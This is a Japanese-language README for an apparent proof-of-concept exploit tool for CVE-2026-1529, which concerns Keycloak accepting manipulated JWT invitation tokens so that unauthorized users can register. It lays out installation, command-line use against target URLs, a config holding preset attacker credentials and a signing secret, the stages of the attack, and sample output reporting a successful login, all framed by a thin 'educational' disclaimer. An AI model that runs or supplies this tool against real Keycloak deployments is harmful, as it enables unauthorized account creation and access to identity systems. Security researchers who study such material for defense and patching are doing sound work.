
Keycloak: 不適切な招待トークン検証による不正な組織登録
CVE-2026-1529: Keycloak - 不適切な招待トークン検証による未承認の組織登録
⚠️ 警告: このツールは教育目的および許可されたセキュリティテスト専用です。コンピュータシステムへの不正アクセスは違法です。
このツールは、Keycloak(CVE-2026-1529)における、不適切なJWT招待トークン検証による未承認の組織登録を可能にする重大な脆弱性を実証します。このエクスプロイトは招待トークンを操作して、Keycloakインスタンスへの不正アクセスを取得します。
脆弱性の詳細:
# リポジトリをクローン
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# 仮想環境を作成
python3 -m venv venv
source venv/bin/activate # Windowsの場合: venv\Scripts\activate
# 依存関係をインストール
pip install -r requirements.txt
# ディレクトリ構造を作成
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# リリースからファイルをダウンロードするか、手動でコピー
# その後、依存関係をインストール
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # メインのエクスプロイトスクリプト
├── requirements.txt # Python依存関係
├── README.md # このファイル
├── config/
│ └── default_config.json # 設定ファイル
├── utils/
│ ├── __init__.py # パッケージ初期化子
│ ├── http_utils.py # HTTPクライアントユーティリティ
│ ├── jwt_utils.py # JWT操作
│ └── crypto_utils.py # 暗号化ユーティリティ
├── logs/ # 自動生成ログ
└── output/
└── reports/ # エクスプロイトレポート
python3 keycloak-exploit.py https://target-keycloak.com
# カスタム招待トークンを使用
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# カスタム組織IDを使用
python3 keycloak-exploit.py -o custom_org_id https://target.com
# カスタム設定ファイルを使用
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# デバッグログを有効化
python3 keycloak-exploit.py -d https://target.com
# ヘルプを表示
python3 keycloak-exploit.py -h
# バージョンを表示
python3 keycloak-exploit.py -v
config/default_config.json を編集してエクスプロイトパラメータをカスタマイズします:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
エクスプロイトは以下の手順で動作します:
脆弱性チェック
トークンの生成/操作
ユーザー登録
ログイン検証
レポート生成
output/reports/ に保存┌─────────────────┐
│ 対象チェック │
└────────┬────────┘
│
▼
┌─────────────────┐
│ トークン生成/取得│
└────────┬────────┘
│
▼
┌─────────────────┐
│ トークン操作 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ ユーザー登録 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ ログインテスト │
└────────┬────────┘
│
▼
┌─────────────────┐
│ レポート生成 │
└─────────────────┘
============================================================
CVE-2026-1529 EXPLOIT RESULTS
============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260211_050507.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
============================================================
by f3ds cr3w est, 2002
============================================================
詳細なレポートが output/reports/ に保存され、以下が含まれます:
ログは logs/ ディレクトリに詳細な実行情報とともに保存されます。
解決策:
# 正しいディレクトリにいることを確認
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
解決策:
# configディレクトリが存在することを確認
mkdir -p config
# config/ に default_config.json をコピーまたは作成
解決策: これは最新バージョンで修正されています。urllib3を更新してください:
pip install --upgrade urllib3
考えられる理由:
解決策:
# 詳細を確認するためにデバッグログを有効化
python3 keycloak-exploit.py -d https://target.com
解決策:
# config/default_config.json でタイムアウトを増やす
"timeout": 60
問題のトラブルシューティングのために詳細ログを有効化します:
python3 keycloak-exploit.py -d https://target.com
これにより以下が表示されます:
⚠️ 重要な法的通知 ⚠️
このツールは教育目的および許可されたセキュリティテスト専用に提供されています。
このツールを使用することにより、以下に同意したものとみなされます:
1. このツールは、所有しているシステム、または明示的な書面による
テスト許可を得たシステムでのみ使用します。
2. コンピュータシステムへの不正アクセスは、以下の法律を含むがこれらに
限定されない法律に基づき違法であることを理解しています:
- Computer Fraud and Abuse Act (CFAA) - 米国
- Computer Misuse Act - 英国
- その他の国の同様の法律
3. このツールの使用による結果に対する全責任を受け入れます。
4. 著者および貢献者は、このツールによって引き起こされた誤用や損害に
対して責任を負いません。
5. このツールは、いかなる種類の保証もなく「現状のまま」提供されます。
自己責任で使用してください。不正アクセスは犯罪です。
貢献を歓迎します!以下のガイドラインに従ってください:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)# フォークをクローン
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# 仮想環境を作成
python3 -m venv venv
source venv/bin/activate
# 依存関係をインストール
pip install -r requirements.txt
# 変更を加えてテスト
python3 keycloak-exploit.py https://test-target.com
作成者: f3ds cr3w est, 2002
質問、問題、またはセキュリティ上の懸念について:
注意: 常に責任ある開示と倫理的なハッキングを実践してください。 Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation f3ds cr3w est, 2002 が ❤️ を込めて作成
| 引数 | 短縮形 | 説明 |
|---|
target | - | 対象のKeycloak URL(必須) |
--token | -t | カスタム招待トークン |
--org-id | -o | カスタム組織ID |
--config | -c | 設定ファイルへのパス |
--debug | -d | デバッグログを有効化 |
--version | -v | バージョン情報を表示 |
--help | -h | ヘルプメッセージを表示 |
| セクション | パラメータ | 説明 | デフォルト |
|---|
exploit | default_username | 登録用ユーザー名 | admin_user_2026 |
exploit | default_password | 登録用パスワード | KeycloakCVE2026! |
exploit | default_email | 登録用メールアドレス | [email protected] |
exploit | timeout | HTTPリクエストタイムアウト(秒) | 30 |
exploit | max_retries | 最大HTTPリトライ回数 | 3 |
jwt | algorithm | JWT署名アルゴリズム | HS256 |
jwt | secret_key | JWTシークレットキー | カスタム |
jwt | token_expiry | トークン有効期限(秒) | 3600 |